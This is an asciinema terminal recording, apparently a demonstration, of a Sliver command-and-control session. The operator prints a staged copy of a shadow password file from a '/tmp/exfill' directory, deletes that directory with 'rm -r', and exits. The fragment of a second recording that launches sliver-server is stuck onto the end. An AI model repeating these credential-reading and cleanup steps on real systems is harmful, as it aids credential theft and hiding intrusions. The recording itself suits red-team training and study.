[48.121953, "o", "\u001b[133D\u001b[1A\u001b[41D\u001b[26C\u001b[133D\u001b[41C\u001b[?25h"]
[48.546104, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[48.555915, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[42D\u001b[26C\u001b[133D\u001b[42C\u001b[?25h"]
[48.7765, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[48.78249, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/s\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[48.784186, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[43D\u001b[26C\u001b[133D\u001b[43C\u001b[?25h"]
[48.872687, "o", "\u001b[?25l\u001b[133D"]
[48.87301, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[48.875792, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/sh\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[44D\u001b[26C\u001b[133D\u001b[44C\u001b[?25h"]
[48.964134, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[48.96483, "o", "\u001b[6n"]
[48.969772, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/sha\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[48.970898, "o", "\u001b[133D\u001b[1A\u001b[45D\u001b[26C\u001b[133D\u001b[45C\u001b[?25h"]
[49.073899, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[49.081928, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/shad\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
[49.083202, "o", "\u001b[1A\u001b[46D\u001b[26C\u001b[133D\u001b[46C\u001b[?25h"]
[49.15208, "o", "\u001b[?25l"]
[49.155533, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[49.160728, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/shado\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[49.161059, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[47D\u001b[26C\u001b[133D\u001b[47C\u001b[?25h"]
[49.308998, "o", "\u001b[?25l"]
[49.310158, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[49.312199, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/shadow\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[48D\u001b[26C\u001b[133D\u001b[48C\u001b[?25h"]
[49.644092, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[49.651504, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/shadow_\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[49.653884, "o", "\u001b[133D\u001b[1A\u001b[49D\u001b[26C\u001b[133D\u001b[49C\u001b[?25h"]
[50.164413, "o", "\u001b[?25l"]
[50.165926, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[50.169503, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/shadow_b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
[50.170954, "o", "\u001b[1A\u001b[50D\u001b[26C\u001b[133D\u001b[50C\u001b[?25h"]
[50.252651, "o", "\u001b[?25l\u001b[133D"]
[50.254874, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[50.26258, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/shadow_ba\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[51D\u001b[26C\u001b[133D\u001b[51C\u001b[?25h"]
[50.286364, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[50.287492, "o", "\u001b[6n"]
[50.290874, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/shadow_bac\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[50.291953, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[52D\u001b[26C\u001b[133D\u001b[52C\u001b[?25h"]
[50.423942, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[50.424882, "o", "\u001b[6n"]
[50.440395, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/shadow_back\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[50.442511, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[53D\u001b[26C\u001b[133D\u001b[53C\u001b[?25h"]
[50.654647, "o", "\u001b[?25l\u001b[133D"]
[50.655627, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[50.657449, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/shadow_backu\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[54D\u001b[26C\u001b[133D\u001b[54C\u001b[?25h"]
[50.886992, "o", "\u001b[?25l"]
[50.892802, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[50.900633, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/shadow_backup\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[55D\u001b[26C\u001b[133D\u001b[55C\u001b[?25h"]
[51.205717, "o", "\u001b[55D\u001b[26C"]
[51.208926, "o", "\u001b[6n"]
[51.228582, "o", "\u001b[133D\u001b[55C\u001b[0J\u001b[133D\r\r\n\u001b[0 q\r\n"]
[51.319571, "o", "\r\u001b[2K"]
[51.322089, "o", "root:*:19472:0:99999:7:::\r\ndaemon:*:19472:0:99999:7:::\r\nbin:*:19472:0:99999:7:::\r\nsys:*:19472:0:99999:7:::\r\nsync:*:19472:0:99999:7:::\r\ngames:*:19472:0:99999:7:::\r\nman:*:19472:0:99999:7:::\r\nlp:*:19472:0:99999:7:::\r\nmail:*:19472:0:99999:7:::\r\nnews:*:19472:0:99999:7:::\r\nuucp:*:19472:0:99999:7:::\r\nproxy:*:19472:0:99999:7:::\r\nwww-data:*:19472:0:99999:7:::\r\nbackup:*:19472:0:99999:7:::\r\nlist:*:19472:0:99999:7:::\r\nirc:*:19472:0:99999:7:::\r\ngnats:*:19472:0:99999:7:::\r\nnobody:*:19472:0:99999:7:::\r\n_apt:*:19472:0:99999:7:::\r\n\r\n\r\n"]
[51.332505, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[51.332892, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[51.334645, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[51.335388, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[26D\u001b[26C\u001b[133D\u001b[26C\u001b[?25h"]
[53.195564, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[53.19894, "o", "\u001b[6n"]
[53.205974, "o", "r\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[53.207096, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[27D\u001b[26C\u001b[133D\u001b[27C\u001b[?25h"]
[53.67869, "o", "\u001b[?25l"]
[53.68055, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[53.684107, "o", "\u001b[1m\u001b[32mrm\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[28D\u001b[26C\u001b[133D\u001b[28C"]
[53.685155, "o", "\u001b[?25h"]
[53.843103, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[53.854517, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
[53.858017, "o", "\u001b[1A\u001b[29D\u001b[26C\u001b[133D\u001b[29C\u001b[?25h"]
[54.352012, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[54.36483, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[54.365155, "o", "\u001b[133D\u001b[1A\u001b[30D\u001b[26C\u001b[133D\u001b[30C\u001b[?25h"]
[54.690116, "o", "\u001b[?25l\u001b[133D"]
[54.691211, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[54.695359, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-h\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[31D\u001b[26C\u001b[133D\u001b[31C\u001b[?25h"]
[54.973552, "o", "\u001b[31D\u001b[26C\u001b[6n"]
[54.984703, "o", "\u001b[133D\u001b[31C\u001b[0J\u001b[133D\r\r\n\u001b[0 q\r\n"]
[54.993091, "o", "\u001b[1mCommand:\u001b[0m rm [remote path]\r\n\u001b[1mAbout:\u001b[0m Delete a remote file or directory.\r\n\r\n"]
[55.002599, "o", "Usage:\r\n rm [flags]\r\n\r\nFlags:\r\n -F, --force ignore safety and forcefully remove files\r\n -h, --help help for rm\r\n -r, --recursive recursively remove files\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n"]
[55.003053, "o", "\r\n"]
[55.021012, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[55.021857, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[55.024218, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[26D\u001b[26C\u001b[133D\u001b[26C\u001b[?25h"]
[56.028095, "o", "\u001b[?25l"]
[56.029855, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[56.034368, "o", "r\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[27D\u001b[26C\u001b[133D\u001b[27C\u001b[?25h"]
[56.229518, "o", "\u001b[?25l\u001b[133D"]
[56.230135, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[56.232862, "o", "\u001b[1m\u001b[32mrm\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[28D\u001b[26C\u001b[133D\u001b[28C\u001b[?25h"]
[56.47673, "o", "\u001b[?25l"]
[56.484665, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[56.494073, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[29D\u001b[26C\u001b[133D\u001b[29C\u001b[?25h"]
[56.829576, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[56.840738, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[30D\u001b[26C\u001b[133D\u001b[30C\u001b[?25h"]
[57.139811, "o", "\u001b[?25l"]
[57.145956, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[57.155492, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
[57.157097, "o", "\u001b[1A\u001b[31D\u001b[26C\u001b[133D\u001b[31C\u001b[?25h"]
[57.313045, "o", "\u001b[?25l"]
[57.313559, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[57.330045, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[32D\u001b[26C\u001b[133D\u001b[32C\u001b[?25h"]
[57.776701, "o", "\u001b[?25l"]
[57.782545, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[57.787146, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m/\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[57.788605, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[33D\u001b[26C\u001b[133D\u001b[33C\u001b[?25h"]
[57.9755, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[57.981461, "o", "\u001b[6n"]
[57.986792, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m/t\u001b[0m\u001b[0K\u001b[49m\r"]
[57.988611, "o", "\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[34D\u001b[26C\u001b[133D\u001b[34C\u001b[?25h"]
[58.076161, "o", "\u001b[?25l"]
[58.077786, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[58.083459, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m/tm\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[58.083676, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[35D\u001b[26C\u001b[133D\u001b[35C\u001b[?25h"]
[58.217578, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[58.221397, "o", "\u001b[6n"]
[58.229071, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m/tmp\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[36D\u001b[26C\u001b[133D\u001b[36C\u001b[?25h"]
[58.484841, "o", "\u001b[?25l"]
[58.486855, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[58.49053, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m/tmp/\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[37D\u001b[26C\u001b[133D\u001b[37C\u001b[?25h"]
[58.662608, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[58.674237, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m/tmp/e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[58.676117, "o", "\u001b[133D\u001b[1A\u001b[38D\u001b[26C\u001b[133D\u001b[38C\u001b[?25h"]
[58.885848, "o", "\u001b[?25l\u001b[133D"]
[58.887134, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[58.889124, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m/tmp/ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[58.889879, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[39D\u001b[26C\u001b[133D\u001b[39C\u001b[?25h"]
[59.128129, "o", "\u001b[?25l"]
[59.131804, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[59.143565, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m/tmp/exf\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A"]
[59.144794, "o", "\u001b[40D\u001b[26C\u001b[133D\u001b[40C\u001b[?25h"]
[59.258708, "o", "\u001b[?25l"]
[59.266848, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[59.284696, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m/tmp/exfi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[41D\u001b[26C"]
[59.286484, "o", "\u001b[133D\u001b[41C\u001b[?25h"]
[59.340655, "o", "\u001b[?25l"]
[59.3422, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[59.348732, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m/tmp/exfil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A"]
[59.349041, "o", "\u001b[42D\u001b[26C\u001b[133D\u001b[42C\u001b[?25h"]
[59.539838, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[59.550462, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m/tmp/exfill\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
[59.551949, "o", "\u001b[1A\u001b[43D\u001b[26C\u001b[133D\u001b[43C\u001b[?25h"]
[60.057831, "o", "\u001b[43D\u001b[26C\u001b[6n"]
[60.072751, "o", "\u001b[133D\u001b[43C\u001b[0J\u001b[133D\r\r\n"]
[60.078171, "o", "\u001b[0 q\r\n"]
[60.162065, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m/tmp/exfill"]
[60.163024, "o", "\r\n\r\n"]
[60.172891, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[60.172992, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[60.17361, "o", "\u001b[6n"]
[60.174878, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[60.175364, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[26D\u001b[26C\u001b[133D\u001b[26C\u001b[?25h"]
[61.506818, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[61.519925, "o", "b\u001b[0m\u001b[0K\u001b[49m"]
[61.520232, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[27D\u001b[26C\u001b[133D\u001b[27C\u001b[?25h"]
[61.648884, "o", "\u001b[?25l"]
[61.654555, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[61.655516, "o", "\u001b[6n"]
[61.66245, "o", "ba\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[28D\u001b[26C\u001b[133D\u001b[28C\u001b[?25h"]
[61.763687, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[61.772785, "o", "bac\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[61.774208, "o", "\u001b[133D\u001b[1A\u001b[29D\u001b[26C\u001b[133D\u001b[29C\u001b[?25h"]
[61.901736, "o", "\u001b[?25l"]
[61.909131, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[61.916763, "o", "back\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[61.918509, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[30D\u001b[26C\u001b[133D\u001b[30C\u001b[?25h"]
[62.095083, "o", "\u001b[?25l"]
[62.104087, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[62.114625, "o", "backg\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[62.118208, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[31D\u001b[26C\u001b[133D\u001b[31C\u001b[?25h"]
[62.150008, "o", "\u001b[?25l"]
[62.151659, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[62.155565, "o", "backgr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[32D\u001b[26C\u001b[133D"]
[62.156688, "o", "\u001b[32C\u001b[?25h"]
[62.232795, "o", "\u001b[?25l\u001b[133D"]
[62.235609, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[62.242081, "o", "backgro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[33D\u001b[26C\u001b[133D\u001b[33C\u001b[?25h"]
[62.311331, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[62.312801, "o", "\u001b[6n"]
[62.317158, "o", "backgrou\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A"]
[62.318205, "o", "\u001b[34D\u001b[26C\u001b[133D\u001b[34C\u001b[?25h"]
[62.403753, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[62.418615, "o", "backgroun\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[62.420727, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[35D\u001b[26C\u001b[133D\u001b[35C\u001b[?25h"]
[62.550808, "o", "\u001b[?25l"]
[62.553025, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[62.564944, "o", "\u001b[1m\u001b[32mbackground\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[62.566567, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[36D\u001b[26C\u001b[133D\u001b[36C\u001b[?25h"]
[63.215621, "o", "\u001b[36D\u001b[26C\u001b[6n"]
[63.221885, "o", "\u001b[133D\u001b[36C\u001b[0J\u001b[133D\r\r\n"]
[63.223105, "o", "\u001b[0 q\r\n"]
[63.252738, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBackground ...\r\n\r\n"]
[63.264182, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[1 q"]
[63.265338, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[63.267781, "o", "\u001b[0m\u001b[0K\u001b[49m\r"]
[63.267882, "o", "\r\n\u001b[0K\u001b[0J\u001b[133D"]
[63.268817, "o", "\u001b[1A\u001b[9D\u001b[9C\u001b[133D\u001b[9C\u001b[?25h"]
[64.020589, "o", "^C"]
[64.021731, "o", "\u001b[9D\u001b[9C\u001b[6n"]
[64.034182, "o", "\u001b[133D\u001b[11C\u001b[0J\u001b[133D\r\r\n\u001b[0 q\r\n"]
[64.036778, "o", "Confirm exit (Y/y, Ctrl-C): "]
[64.604792, "o", "y"]
[64.922733, "o", "\r\n"]
[64.963795, "o", "\u001b[?2004hroot@98df0494f659:~# "]
[65.410568, "o", "\u001b[?2004l\r\r\n"]
[65.411491, "o", "exit\r\n"]
@@ -0,0 +1,549 @@
{"version": 2, "width": 133, "height": 91, "timestamp": 1714567775, "env": {"SHELL": "/bin/bash", "TERM": "screen"}}
[0.135265, "o", "\u001b[?2004h"]
[0.142879, "o", "root@98df0494f659:~# "]
[0.769041, "o", "."]
[0.814356, "o", "/"]
[0.958219, "o", "s"]
[1.076673, "o", "l"]
[1.207847, "o", "i"]
[1.28843, "o", "v"]
[1.343393, "o", "e"]
[1.4888, "o", "r"]
[1.712271, "o", "-server "]
[2.478212, "o", "\r\n"]
[2.479562, "o", "\u001b[?2004l\r"]
